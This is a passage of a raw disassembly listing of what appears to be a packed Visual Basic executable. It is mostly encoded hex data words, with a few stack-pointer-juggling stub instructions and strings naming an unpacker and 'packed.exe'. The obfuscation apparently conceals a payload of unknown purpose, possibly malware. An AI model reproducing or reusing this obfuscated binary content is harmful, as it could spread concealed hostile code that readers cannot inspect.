2BC305B3h dd 0E299437h, 6A24A935h, 9C2A0667h, 0E451CD8Ch, 0B144FCDFh dd 6731CB82h, 0A6813929h, 19D019Dh, 6D8B4E64h, 6DD3F0D7h dd 11B5D64Ah, 3DE7F36Eh, 4EF85C3Fh, 71316FB7h, 49D558EDh dd 0B77CD672h, 3796316Fh, 72E20D07h, 364E77F2h, 0C9000000h dd 9615A05Bh, 66712D0Ah, 0AB0F6CF0h, 3DE75A7Ch, 5671CEEDh dd 0C9F26EE3h, 0DB6DC9AAh, 0DC316F34h, 0FB51F540h, 11316F34h dd 65888CB0h, 0CB77F1F3h, 101h, 0CDEA524Ch, 4F68D5F6h dd 0C8EF5774h, 0DA6CC8ABh, 0DD372BC3h, 30862241h, 7372BC3h dd 76152E9Bh, 0F4CFE855h, 46FEDD68h, 4670461h, 2BC316A0h dd 0B52937h, 2BCC20A4h, 2C96B537h, 0C70334D9h, 118DD2A4h dd 2003B62Ah, 9ABD0098h, 0C4A13DA1h, 43785FE7h, 96F5B269h dd 0E7F6E132h, 0E5DE903Dh, 0D3D288FEh, 80AACF53h, 1C7F1CD9h dd 0C2A1863Fh, 6F9DD066h, 0CE7BE731h, 0A1760A6Ah, 5DE0C33Bh dd 0FEDD417Ah, 0C65A6146h, 162FE73h, 0DBB89F22h, 79E34A95h dd 4C6FBFFEh, 76EAD1F6h, 0E6C5A6C3h, 4812AD58h, 2EFACF81h dd 992407B2h, 830C106Ch, 599E018h, 6D108797h, 0A8FB45Dh dd 1A9h, 127750ECh, 0CCA98E31h, 177255EFh, 0CDA88F34h dd 117453EEh, 99245505h, 46F8DBBEh, 9E270461h, 47FFDCB9h dd 0E7840560h, 61E8F543h, 1A9DCA31h, 0ADC8EF52h, 16AE368Eh dd 0ABC8AD31h, 0A5103788h, 0C7A05B22h, 87A4C7A4h, 0BE22193Eh dd 2BC3AC1Ah, 0BA0F9337h, 0E7B6C91Eh, 97F4683Dh, 13280FB4h dd 50D8C18Fh, 1C3C8D8Bh, 0D2F192A9h, 0EF73486Fh, 8E54FE5Ah dd 1FBE316Fh, 9E1A35DFh, 9D7677F2h, 0F1000000h, 0A01FEA52h dd 0E054D3BDh, 0B192A935h, 0B4102B0Ch, 372B6630h, 3F5A7DC5h dd 9A51A41Ch, 83FE29CBh, 1EA80C6Fh, 21372BF5h, 791A21BDh dd 0F508BE1Ah, 0B32F372Bh, 0B06D2C06h, 97A477D3h, 4FD33DE7h dd 9C59002Ah, 755A5BFFh, 5E7D3BA1h, 3F5CC0E7h, 0E386A11Ch dd 0C85A7DC0h, 5D6C46E6h, 0C245C0FBh, 0F7000000h, 2A096C4Bh dd 0F4D7B295h, 2F0C694Eh, 0F5D6B394h, 1E0A6F48h, 0B99E235Ah dd 6641FFDCh, 0BE992003h, 6740F8DBh, 44E08302h, 3161EFF2h dd 521592C5h, 8EADC8EFh, 0F3741136h, 0AECDEA52h, 0A712358Dh dd 9F07BF9Ch, 0A73B0027h, 0F216583Bh, 75F88DBCh, 93B9DC69h dd 0F6C0FE8h, 0B2BD0141h, 4A0DC3Fh, 372B2AB2h, 0CFAC1985h dd 0E14CD96Bh, 7942DE3Dh, 0A0C5E25Ah, 271C3B83h, 1DE8A283h dd 0CDF150D0h, 294A6DD5h, 0AC97B00Ah, 0C3E08530h, 1C3F5C7Bh dd 0A3184A3h, 8EB59229h, 1E4874D5h, 10A5823Dh, 0C9AC8B33h dd 4E7552EAh, 5CEA4E2Dh, 63123428h, 8823B1FFh, 0CAC66990h dd 3FA7Fh, 0E77D0000h, 0C9EE5260h, 4E69D1F2h, 0C8EF5675h dd 496ED0F3h, 0CBEC5172h, 496ED3F0h, 0CDEA5172h, 486FD5F6h dd 0C8EF5073h, 0CE6870F3h, 89000013h, 2068242Ch, 8900006Dh dd 868243Ch, 89000059h, 0B8502414h, 568A5DA9h, 390CB951h dd 5CBF4BC7h, 31171345h, 0C72959CFh, 148B5458h, 4C48324h dd 38ED68h, 243C8900h, 41242C81h, 8F67F105h, 42810842h dd 0F1054108h, 2434FF67h, 4C4815Ah, 8B000000h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_550F18 ; --------------------------------------------------------------------------- db 9Ah dd 8CB870EFh, 3064A2Dh, 61E0FFC5h, 15439DEh, 95428BDh dd 24651D95h, 0C32BCF90h, 754F07E6h, 50762FD7h, 0E21A428h dd 2D04A427h, 4112358Eh, 463FD5E1h, 0E6139E1Ah, 0AF5A49ADh dd 37435E84h, 0A46854D1h, 107815DAh, 7C57E9B5h, 6A4EEC15h dd 2D0DC047h, 0A50D1A1Ah, 0AD30E005h, 0D86AF8A5h, 0FA3170F8h dd 6A59923Bh, 1B0F2F8Dh, 0D226762Ch, 8A590578h, 975C59E5h dd 0F22D7000h, 8D7E486Ch, 4A2F578Dh, 0FE906h, 1C010000h dd 59CD984Eh, 691AA3FFh, 390FD3F4h, 5D8D8945h, 6A06442Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0A813C357h, 5402CA3Eh, 0BD31D6BCh, 644025Dh dd 67985C7h, 69F00644h, 0BF0F0000h, 7185C7FBh, 64410h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0B3E2C351h, 0B9B5FF71h, 6A06441Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 38CC352h, 0BF0F6417h, 0C0B70FC3h, 0BF995FFh dd 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 322908C3h, 15358533h, 6A0644h, 1C4D95FFh dd 0C08B0644h, 25666DEBh, 0E12C0CE6h, 0F3E92115h, 83C4231Fh dd 7A625EFCh, 145F26FDh, 59123E40h, 0B8B37BB6h, 31A406C4h dd 23336241h, 0C31A7D78h, 10909F53h, 0A6C7708h, 49CBC3D2h dd 0AE67C4F7h, 0E8D98AD4h, 5B9DD7ECh, 0F71A4944h, 3CF1BF5Fh dd 0D162FF12h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h dd 0BFFF05FDh, 0E17FFE51h, 0A4A2C0E6h, 8D9FA25Dh, 4A30A58Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0B0B49E7h, 442D9DB5h, 89F88B06h, 442F5D8Dh dd 7985C706h, 30064406h, 6A00006Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4E7AC353h dd 0B866718Eh, 85C7EF04h, 6441071h, 0 dd 341BB66h, 1C9DB5FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0EDB43CC3h, 9E889h, 0D330000h dd 0A9BCFD88h, 33F470AFh, 4407B185h, 95FF5E06h, 6440BF9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 4DC35040h dd 0DC37D7B6h, 0FFEA8166h, 0D4DE805Ah, 95FF006Ah, 6441C4Dh dd 4FEBC08Bh, 5DD1BAE1h, 9AC44CCDh, 7A226F13h, 47620DBDh dd 0E683A65Bh, 13F65802h, 1CD4284Bh, 58FB5F93h, 55E61C59h dd 2A09EFE9h, 0BA562351h, 109C62E0h, 8DA20BA4h, 49311CD2h dd 18FD0CEDh, 0D40AA620h, 4B2D08B6h, 116F1832h, 8833065h dd 0E8CCB770h, 13h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh dd 0B88E57E5h, 8B71DB19h, 442A6185h, 8B0F5E06h, 5, 1EF6B9B9h dd 0B3C6813Fh, 89000073h, 441F7D95h, 6806h, 815F0000h dd 69467DC9h, 3E148B66h, 0F71DEA81h, 81662E1Ah, 818294EBh dd 2696E6C2h, 19BD8909h, 81064422h, 0CA9FB4EAh, 2FF48067h dd 0B83E1489h, 0F361730h, 6B42B966h, 8104EF83h, 9C58EBD1h dd 0D0FF8126h, 0FFFFF8Ch, 0FFFFBC85h, 618D8BFFh, 0E806441Eh dd 0Dh, 0C5C9F65Eh, 3F75201Dh, 0F2B6AE79h, 895BF52Bh, 442A499Dh dd 6EC38106h, 100005Fh, 44244185h, 0D3CABE06h, 0C6815D17h dd 0A2E843DEh, 0BDD9D31h, 33FF0644h, 0CD98D89h, 0E9580644h dd 14h, 710DF218h, 1DF64A50h, 0A0BE7153h, 9CB9959Eh, 0CBCAD171h dd 4B66F081h, 0EE806E08h, 0C7E88122h, 504B126Ch, 558589h dd 81590644h, 2EE3CDF0h, 8166604Eh, 8B593BC3h, 44156595h dd 8B506106h, 60038FF8h, 8361DA8Bh, 4B4B01EBh, 5E84Bh dd 6C60000h, 5A0D5CC6h, 1EE81h, 850F0000h, 16h, 2800Fh dd 5F510000h, 21E9h, 0F676E300h, 22884CB1h, 0CE8BEBCDh dd 0FFFF71E9h, 4AA8DFFFh, 8F354BBEh, 5F70E0B8h, 92707DFEh dd 13E87CFAh, 0C000000h, 0AD244384h, 0AA8684E1h, 0E36C1E77h dd 0C818154Eh, 9501D839h, 6443249h, 29C18159h, 2B00005Eh dd 13E8DBh, 6A4E0000h, 29728517h, 0A046E324h, 77A80216h dd 8DC5B98Ch, 2995292Bh, 5A064410h, 0E90B34FFh, 0Fh, 0D018CDD1h dd 0E86BD79Ah, 354A59BEh, 5FED0968h, 11E8h, 8EB5E600h dd 28BA4E2Eh, 0D576508Dh, 0A228D94Ah, 0BD894FFCh, 6442575h dd 58C7815Eh, 0B8212264h, 5B22CCBFh, 0CE8FC781h, 0BAB83EEFh dd 814B1C09h, 46A325F7h, 6850F79h, 89000000h, 441771B5h dd 9E95706h, 0AB000000h, 8E73D81Ch, 7493BFCh, 0E819048Fh dd 9, 4F709B2h, 0F2262692h, 0A55BE3Bh, 805A1248h, 0EB81C0D2h dd 459EAC56h, 2C71B58Bh, 0C3810644h, 459EAC52h, 0A2B8FB81h dd 850FFFFFh, 0FFFFFF5Ch, 15CE9h, 0E705C500h, 5C3A4377h dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h dd 65h, 3Ah dup(0) db 0 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 7Fh, 50h, 0Fh dd 1B83E906h, 0BD680000h, 0E9064A36h, 0FFFA4A62h, 4A378F68h dd 4A58E906h, 8F68FFFAh, 0E9064A38h, 0FFFA4A4Eh, 4A397A68h dd 4A44E906h, 0B968FFFAh, 0E9064A39h, 0FFFA4A3Ah, 4A3A8968h dd 4A30E906h, 0DC68FFFAh, 0E9064A3Ah, 0FFFA4A26h, 4A3B3768h dd 4A1CE906h, 968FFFAh, 0E9064A42h, 0FFFA4A12h, 4A429E68h dd 4A08E906h, 7968FFFAh, 0E9064A43h, 0FFFA49FEh, 4A447668h dd 49F4E906h, 0F668FFFAh, 0E9064A44h, 0FFFA49EAh, 4A45A268h dd 49E0E906h, 3168FFFAh, 0E9064A46h, 0FFFA49D6h, 4A46DD68h dd 49CCE906h, 2E68FFFAh, 0E9064A4Dh, 0FFFA49C2h, 4A4E1B68h dd 49B8E906h, 0C068FFFAh, 0E9064A4Eh, 0FFFA49AEh, 0B41DBF25h dd 3AA1A8Ah, 0BE17C53Dh, 14BD1F80h, 0A108BC2Ah, 45A39983h dd 9D08369Fh, 51B08E27h, 77C42EBh, 0D4B0F45Dh, 0E65F904Bh dd 0DD6F39C2h, 0F76ED64Fh, 41E85CC9h, 46226B07h, 74B4EBD9h dd 274362CFh, 741DDC43h, 7AE6C2ECh, 0DD95B4C2h, 741CDB44h dd 0E79CC2ECh, 8F6ED63Bh, 4E87FBB0h, 35000000h, 76129B37h dd 0BB92C12h, 9449F06Fh, 0A382C930h, 9FE674EBh, 4735CF74h dd 0CDC31B13h, 1C6A2227h, 0FC92006Eh, 0F9D83EADh, 9E3EA39Dh dd 17CD3907h, 78E77E36h, 0C2EBE5BDh, 75DA443Fh, 0FBB00511h dd 5B72816h, 0A5F5BD9Ch, 0E1h, 71D64F17h, 128BAA12h, 6E0ABA2Ch dd 0D64FF550h, 1826BFF7h, 635D39ABh, 8C155DFFh, 3A9351B2h dd 30983EA5h, 0F66ED7C9h, 4004615Fh, 46D9BDD9h, 0C9309093h dd 1B5D1534h, 0C55A3E77h, 0CF749307h, 3D036746h, 0F75E16C6h dd 92AAE193h, 0CCE25088h, 5170E953h, 710270h, 0E30C99Bh dd 25700046h, 0CF66DE41h, 0CBF5C932h, 187CE557h, 2DCED487h dd 0F5D4F5C9h, 40B9CBBDh, 0C5989265h, 0B48AEECFh, 2809904Ch dd 0CC3A0460h, 53219B07h, 0CA7D0C79h, 0FB5273C6h, 44E163C5h dd 7DEEED76h, 9FA531A8h, 0F2000018h, 0BB852C90h, 0E30994Bh dd 0BD832A92h, 0F319844h, 0A0822B99h, 0A2228478h, 12D2350Bh dd 0BE1E85BBh, 8BC2917h, 1E81E5A1h, 0C2E65E5Bh, 15883A6Ch dd 4C04B82Bh, 0F9501472h, 4FE65EC7h, 129B37FDh, 9F53E976h dd 9BBACF74h, 88DA9D02h, 0A1DAC2ECh, 0A8349075h, 0AFC1FBB0h dd 0A5000000h, 2CB5279Bh, 1233B112h, 0D64FE85Ah, 5FC9F76Eh dd 80E37CE5h, 91C93098h, 2719B034h, 0D99F06BEh, 798FC39h dd 0CF749345h, 680CA584h, 7D4B671Ah, 1F57ED2Eh, 187CB959h dd 0AB38E37Ch, 0B091C2EBh, 0AB904BD4h, 1839C2EBh, 2AAB3450h dd 0E3C93250h, 2E98A6C2h, 510897F3h, 7AC92E48h, 4815C45Bh dd 97B6C92Eh, 0C7211FB6h, 6E80B81Dh, 0AF367DEEh, 17CD3Bh dd 0FA62C000h, 4BF96D53h, 0F864DCE2h, 4AF26F51h, 0F96BDDE3h dd 0B2AA7250h, 7399054h, 0B38D24A0h, 7B45EC50h, 0B7F35A0Ah dd 5D8D4CD3h, 683EC2E6h, 6BD94FDAh, 0DD87FCC2h, 0D64FC674h dd 8AAB1171h, 6C519CEEh, 1FCED2EFh, 93F0CE57h, 0E2163A82h dd 176517CEh, 41B8A52Eh, 4CE5C4B0h, 4B2F660Ah, 0F6A22439h dd 6B23D7A4h, 6586900Fh, 6647CF74h, 43B560FFh, 0E55EC2ECh dd 6CD8E67Fh, 700B61F8h, 6A1156A6h, 5EEB5BC0h, 0BC08FBB0h dd 0BA000000h, 0B75BC8C2h, 0BB851A7Eh, 1ACF7496h, 3E47B3Bh dd 7097873Ah, 433155E0h, 5151FBADh, 0AECA8225h, 966C6F31h dd 55CAAEFCh, 0F4963DA6h, 43270627h, 3D01B827h, 2182F496h dd 6D1B3AA3h, 0EB72F253h, 0AF99EBCAh, 1BC14398h, 0A1E77E36h dd 7FE08411h, 0FADD0E67h, 0DDE387A6h, 3155FC68h, 0B72E960Fh dd 83E0DE96h, 0AB6A64C1h, 59CAF31h, 16CD91h, 0FA62C000h dd 4BF96D53h, 0F864DCE2h, 4AF26F51h, 0F96BDDE3h, 0B2AA7250h dd 7399054h, 0B38D24A0h, 7B45EC50h, 0B7F35A0Ah, 5C8D4CD3h dd 683EC2E6h, 426715DAh, 0AD79AC1Fh, 0F1526C24h, 4ACEA73h dd 6472ED89h, 0A5CF7478h, 0C29F2D84h, 0E04779C8h, 0C66A2C64h dd 714F2B4Fh, 6A38FC15h, 411E0E90h, 0E6D8F960h, 7B5AC379h dd 12D2AC33h, 0D33CF74h, 4B0B2A9Ah, 14B1112Fh, 8DAC35AFh dd 0B33192ACh, 0DC430B2Ah, 4A15090Fh, 0EE56C46Ch, 64D84876h dd 99FDDCFDh, 8303806h, 3CA7994Eh, 22BB299Fh, 67032203h dd 0EB72EA59h, 7F1B82CAh, 457BE141h, 0C7E67FDDh, 0EC29C98Fh dd 0A10F1788h, 0EFCE484Fh, 109DEF8Bh, 0DB332A87h, 178CB2FAh dd 8EF7C9ADh, 0B42B4FD6h, 47C18A05h, 8EC6E7C6h, 38AC1927h dd 8328899Dh, 0F266FFFCh, 15E2h, 0C46DCF35h, 73DA8AFAh dd 0CE67D54Dh, 842D8FF0h, 31984CBAh, 0B5130913h, 2D98A60Fh dd 0C1201EB7h, 178CB21Bh, 244004ADh, 0E65B00BBh, 2D9FC9C2h dd 0CB6ED64Fh, 7DEC22D1h, 0A3CA5EC7h, 0F6000015h, 4779D08Ch dd 0F2CC65DFh, 0B9872E8Eh, 33D9448h, 0B4963FA5h, 2E96F06Ch dd 964EB987h, 3AA2013Fh, 8C38AD93h, 9A056125h, 0C2E65ADFh dd 4F0CBEE8h, 0B1F76ED6h, 231AC721h, 0DE8763C4h, 9BFF9BFFh dd 7EF48CE9h, 61FE174Fh, 0C92FCABAh, 0E57A3213h, 0CF73EB47h dd 0BD0EA786h, 64B14146h, 0ABC19F00h, 2100C92Fh, 6F593745h dd 261C8DA5h, 0A039AB18h, 1689C981h, 65D93BB1h, 43276E02h dd 0C35A0A7Dh, 51CEAAE2h, 32CC038Fh, 3076EFCEh, 0EE7115A0h dd 348B4DD6h, 16721637h, 6D09BB28h, 84CB47F2h, 0E9A1802Ch dd 0D7B36ED7h, 84CB9148h, 841B3A2Ch, 2C84CAD5h, 7CE9D7F6h dd 517051C8h, 0F85DC6F8h, 52F7D68Eh, 0E147EAB2h, 0D345D148h dd 0C6000014h, 7749E05Ch, 0C2FC550Fh, 6957FE5Eh, 0D3ED44F8h dd 4466CF75h, 5E0660DCh, 0E65EC9F7h, 0AA12714Fh, 1CC83D03h dd 0A95F1B5h, 0C2E65A4Fh, 0EE9C2E78h, 0C930942Bh, 30A4C275h dd 942BEAC9h, 0C275C930h, 4BC93094h, 39CF6ADAh, 0EF7DEC23h dd 1480E276h, 31930000h, 0A81C228Bh, 37AB953Ch, 0AD122C85h dd 2E98A60Fh, 0F33D1FB6h, 8C259F09h, 389153B2h, 88219B06h dd 3E974DB6h, 0DA811E7Ah, 0F3C2E659h, 9B3717A5h, 44F86957h dd 0B863FCDDh, 15C93094h, 3F2F23A3h, 0BB9AECFAh, 0C361FE9Ah dd 1ACF73E1h, 0D0629E3Bh, 31A87BA8h, 1425A5h, 520A7800h dd 0E361C5FBh, 500C744Ah, 0E25AC7F9h, 5113754Bh, 0EA52DAF8h dd 5F61C87Ch, 0EBD57CE8h, 536DC478h, 9FDB72F2h, 59B564FBh dd 4016C2E6h, 6ED64FF2h, 0E85CC9F7h, 6ED64F71h, 0E75DC9F7h dd 7615F7Eh, 0D5AEC45Dh, 0EE95F349h, 53B38D44h, 30A9138Eh dd 4E783011h, 1F4AFD6h, 301Fh, 27EEAD00h, 8AC93094h, 0DA9252B4h dd 6CDA7FE4h, 1470D9F8h, 930ABA2Ah, 0AA8B39ADh, 9DC7DE2h dd 1A7EC98Ch, 9801BB24h, 0FC68F1B9h, 1396h, 8B67154Eh dd 443A7B76h, 3CA997DFh, 0BB571188h, 0E3891672h, 0EACF740Fh dd 8C2462CBh, 0EC5B6501h, 0FEC0E178h, 0F397DF85h, 2FE9526Ch dd 239FA1C9h, 931A99EAh, 1A3B2C66h, 994BBD83h, 0E286F0B8h dd 2FEFBE7Dh, 0F2E0FC9h, 8438A896h, 0EF04B22Dh, 198DC92Fh dd 0A0451CF8h, 74F38143h, 61C8E97Ah, 152EE75Fh, 4F4D1790h dd 95B43095h, 3B492DB4h, 8E9A6B44h, 83BDF565h, 632F223h dd 6D94E6FAh, 0AFCBD54Ch, 0CFA554CBh, 0F56EC92Fh, 81F7D64Fh dd 8793E8A0h, 238A3AAAh, 0F3EEB115h, 0DE487601h, 96DEFF66h dd 1BAC6h, 59C6A200h, 0C92FDBA2h, 0F0420A2Bh, 76129B37h dd 749F43E9h, 32AB8ACFh, 0CF33980Ch, 0F4D5F46Dh, 8933AE90h dd 0D0793110h, 57CE76EEh, 0EC990DC8h, 0D389F6C2h, 550F744Ah dd 63CFB4CCh, 95E783E9h, 0CC0F1903h, 0FA675967h, 0B2FADB42h dd 94AA5DC9h, 118EB02Ch, 69DDE3ABh, 7C1452FBh, 30CA5531h dd 99C9303Bh, 374521B8h, 0B54104F5h, 704E068Eh, 0F4CAAE16h dd 0CE672F8Dh, 0B23294AAh, 0E262C4FAh, 9547B886h, 0FC652D0Ch dd 2FFDB663h, 0A6700BC9h, 0CC65DF49h, 4BD292F2h, 0CA531175h dd 9683AFD4h, 291FB62Eh, 1F41CBDh, 4476h, 2B15C400h, 0BC9D04B8h dd 0E85CCAF4h, 74D94F71h, 8404020Bh, 36D47328h, 8EAF8E17h dd 0A8720917h, 367DD4Bh, 0E4263071h, 2FDDC07Bh, 5A2809C9h dd 6385BD1h, 9CBD24A0h, 0DB4B7DD4h, 1801F479h, 0CBh, 129B37AAh dd 0C1A3E976h, 0CBEACF74h, 9C083652h, 0D890B128h, 6FC67EE6h dd 0D64FF551h, 51C87CE8h, 57EA344Fh, 66EDAC33h, 0E0DEC2ECh dd 8EFCDD7Fh, 0AC831541h, 7749014Fh, 98FC550Fh, 269E3BA6h dd 270627BEh, 0E1D79FBEh, 0FBAFF185h, 74AEh, 91F4CA00h dd 236B4AD3h, 0DE671591h, 74E4813h, 75EC58CEh, 7B3D7554h dd 5B3F5BDCh, 0F9F9A03Fh, 5FC0C92Fh, 0C92FFA9Ch, 1E7A0C2Dh dd 2FF9DA81h, 0F3D2F3C9h, 0FAC524BBh, 7014C92Fh, 2FFA2CEFh dd 42A39DC9h, 9DEBA382h, 0FAB366F9h, 3514C92Fh, 63128D14h dd 6AC92FFBh, 0C5500511h, 208B1470h, 0BBC92FF9h, 0DBC127C9h dd 632B5466h, 99D3415h, 7, 36E5BBh, 4F570000h, 0CEF069D3h dd 7947EE56h, 0AACE570Dh, 94AA51CEh, 1D23C930h, 83A23BA9h dd 5ACEAA2h, 93B22A97h, 93E1950Ah, 562DC930h, 0B4FF67CCh dd 233401F4h, 8600000Ch, 8A139C37h, 0DBC8DD15h, 0C8522952h dd 0FCA5531h, 0F03F8560h, 97B62F95h, 0A93393E1h, 1AACF5BBh dd 0E145733Bh, 2678498Ah, 0EE71A818h, 3F85772Bh, 0D49CBD9Ch dd 2A84h, 9C373600h, 31E87713h, 88C93094h, 0D9450B6h, 2C12642Ch dd 0B32A0BB9h, 0A4620F2Ch, 6CB6CD72h, 80E61F87h, 28FD458h dd 37660000h, 64A1139Ch, 0BC2B15D6h, 8EB09108h, 1233AA12h dd 45FF645Ah, 0C1DF5321h, 10893BABh, 4C294331h, 1564D69Eh dd 420ABA2Bh, 0EF47B002h, 404F4A7h, 42h, 139C37B6h, 58F20577h dd 99C63618h, 2F2AB7EBh, 733BE46Eh, 0CC8A15C1h, 0FDC93093h dd 1B86B8DCh, 511938A1h, 4F7115E3h, 90226AD2h, 0DB69D34Fh dd 7115F143h, 30942BEEh, 0F5BD9CC9h, 3B61h, 9C37D300h dd 8A15A113h, 0C93093CCh, 0CE76D1EFh, 0DD487657h, 97DFFE67h dd 156CDEFFh, 69D34FA7h, 0B72B15DBh, 941CDF40h, 8CADC930h dd 2B1534ADh, 734109BBh, 3B92917h, 41F3BB9Ah, 61A38FEEh dd 964EB8E3h, 20A4013Fh, 279D0B35h, 29930C32h, 3049C2B0h dd 0FED9AF3h, 8910D431h, 0ACA08AF1h, 178BB5D1h, 551D3CA5h dd 0AE17042Eh, 0DB487636h, 83A7A93Ah, 0B3925E1Dh, 0A75F15A6h dd 80E552DCh, 49BA84C4h, 46A01D84h, 8B9EBF9Eh, 692F53B5h dd 58AEFE99h, 0F4526C79h, 6CD7E970h, 0ECCD77EFh, 6106B75h dd 0E6304B36h, 0F26D9C09h, 0AEFE9947h, 0C080A180h, 0B8DC88FEh dd 0E94633CAh, 0F1B973F8h, 4BEEDB68h, 9F09E630h, 67F4125h dd 0DBBF165Eh, 5BC282E5h, 970C327Ah, 0A006382Dh, 0FF1ADC9Ah dd 0D9CCEDAEh, 59C07CE7h, 0DC45FF67h, 0CA42EC97h, 0D643EF94h dd 89B7F76Dh, 6F59FB1Ch, 0F3913ADh, 0A2BEA080h, 0D1F0D1FCh dd 3C3E77C4h, 1A24DB47h, 407E36A6h, 1F2161E3h, 645A3EA6h dd 0B7A4400h, 0A9E1C059h, 79E6D8BCh, 337B5AC3h, 0CA369B0Dh dd 5B263312h, 15C45B3Fh, 0B6AEFEF3h, 7AA4DF97h, 0FCBC289Dh dd 6ED64F4Eh, 15D664DCh, 4E06B62Bh, 9A286D08h, 0EF478331h dd 404F4A7h, 43h, 61E65E60h, 0E67F5E06h, 373D8FC7h, 15A517A0h dd 3093CC8Ah, 60C3FDC9h, 44DD7FE3h, 0E3DD4465h, 6445DC80h dd 0F7E3745h, 0F6017348h, 0A71565D7h, 96DD74Fh, 8910CC37h dd 4352E0A8h, 51E5F1h, 37570000h, 279D08A0h, 0DABE9FBEh dd 59A7DE4h, 0C9309456h, 0EE775677h, 153587CFh, 991C2D67h dd 246C83ABh, 0A91A2440h, 2AEC733Bh, 85C93086h, 711516A4h dd 0F56CD84Fh, 4F2E9CD4h, 37096DD7h, 0E97612CAh, 0C9309432h dd 40F2BA9Bh, 9BB2B15h, 0EEC17341h, 0C930A2A5h, 28A7D5B1h dd 4F9A16AFh, 21A53179h, 0C1FFFFFDh, 0AEDA68B3h, 0FC981849h dd 301BB863h, 783011C9h, 0EE7115CAh, 0C930942Bh, 6AF5BD9Ch dd 0C93094ABh, 10D4300Eh, 3A731E58h, 8735AD93h, 93DA811Eh dd 86FDC930h, 9943BF9Ch, 31960E30h, 0E74E6FD5h, 188116A1h dd 86E71D87h, 2CF68D0Bh, 9E5C5FC7h, 24594BFh, 0EE260000h dd 0C9309428h, 309309A9h, 0BB2B158Ch, 6D092809h, 47F26D09h dd 80C93094h, 7476E9A1h, 0B5CF74BEh, 6B8B4ED1h, 0B12EC2ECh dd 0C2EC6B0Ah, 0B594E2C3h, 67593D94h, 360840FCh, 0EF8B12CAh dd 0CED5349Dh, 9AE85079h, 0B4B8BE24h, 0A19FD7A1h, 62069F45h dd 5AAFD610h, 652D6566h, 0E079EB5Bh, 0E7830AA6h, 305F5E78h dd 2B8EAFC9h, 7DEC19E9h, 5312861Fh, 4600000Dh, 0F7C960DCh dd 427CD58Fh, 0E9D77EDEh, 536DC478h, 0C4E64FF5h, 0DE86E05Ch dd 66DE4977h, 2A92F1CFh, 9C48BD83h, 8A157135h, 0C2E651CFh dd 4F1CAEF8h, 0B1F76ED6h, 6FF09421h, 0CF7AC932h, 9E46BF81h dd 186E2607h, 0A31EBB26h, 5D391839h, 395DFF63h, 4004635Dh dd 0E6601CDFh, 0C48CADC2h, 8EF536Dh, 0E65FE497h, 0E5C4E5C2h dd 63E1427Ch, 0D3647507h, 509301AEh, 2BC78118h, 0D42CDB1h dd 44651FFCh, 3A25BF20h, 0C5E4C92Ah, 0E249A860h, 53C75E7Dh dd 0CBEh, 60C973D1h, 0D77EE65Eh, 6AC379E9h, 0D871EB54h dd 6DC480E6h, 1177E54Fh, 61C4FA53h, 0D744AE3h, 0CB3806AFh dd 90F4B019h, 0E6524C0Fh, 992B7DC2h, 0F76ED64Fh, 0F09421B1h dd 94500B94h, 0F46BC930h, 0C9309445h, 0F0D1A786h, 3D43DCB8h dd 8ECF74AFh, 0C72F69FCh, 5C14A497h, 9CA20B2Ah, 8143A227h dd 0B1183918h, 0B6D25BF7h, 0EEA61E88h, 0CFF7158Ah, 0D7F6C935h dd 0A7158DB3h, 0DB89FDC3h, 0FD410DA9h, 0D39B9872h, 5B6C1E7Ah dd 2909D556h, 0CC340A42h, 0B72E960Fh, 102EB796h, 0EEA831B3h dd 0F06CD442h, 0D694869h, 66871092h, 80E5DBCFh, 7C3FA0C4h dd 4DC2E65Fh, 3652246Ch, 0E65EF2A9h, 0A356C9C2h, 24C2E65Fh dd 68017305h, 1EF18A96h, 0DD785978h, 7BA6EC03h, 0E3F86CF5h dd 3600000Bh, 87B910CCh, 320CA51Fh, 0F9C76ECEh, 437DD488h dd 0F4D67FE5h, 6ED6302Ch, 0D68EF9C7h, 7AE2417Fh, 0CC78EDD3h dd 0DA452165h, 0C2E6511Fh, 4F4CFEA8h, 780A6ED6h, 0A57AA4A6h dd 0FD642C05h, 0FA9E17BBh, 73CDE765h, 0A71826CFh, 2809BB2Ah dd 269EA009h, 0B92917BEh, 9B22D946h, 8AABC2EBh, 15B002ABh dd 4C04B82Bh, 4B2F660Ah, 74B906D4h, 0AE3155CFh, 0C2EC6FEBh dd 7427B8DCh, 55C2EC70h, 6B1D5574h, 0C5B7D34Ah, 2554BCAEh dd 37A8E0D2h, 0C2EC0980h, 0FD629D09h, 0C2EC093Eh, 168FAE8Fh dd 550B928h, 93A60BEAh, 0F8B32A0Bh, 0E2A59783h, 3CA88D99h dd 0F9FBB0ADh, 9Ah, 6DD74F4Bh, 0EA5ACAF4h, 3BD44D73h, 0CAC866F6h dd 158CAD4Eh, 48AA0371h, 0BADF2F4Ch, 0EC58CCF2h, 0A81F2145h dd 0BA84A53Ch, 2001984Ch, 0B822E68h, 0B2FEF06Fh, 1E3FCF74h dd 0A8011FBBh, 0A034AD7Bh, 0AE6h, 0B811CB39h, 0FA61E86h dd 0C26BD131h, 70D983FCh, 0C56CD84Eh, 69DF3DE7h, 0F96C52FBh dd 65DCE24Bh, 3605EF7h, 0C8ACE841h, 0E650A457h, 0C17325C2h dd 1472D74Fh, 32ADC950h, 0C9309487h, 61406140h, 6A5CC8h dd 5C380000h, 309418C3h, 188FB1C9h, 351435ACh, 0D74FCF7Dh dd 0CED2A23Eh, 8A9DEF55h, 4BD2F375h, 4C28650Dh, 742AC5D3h dd 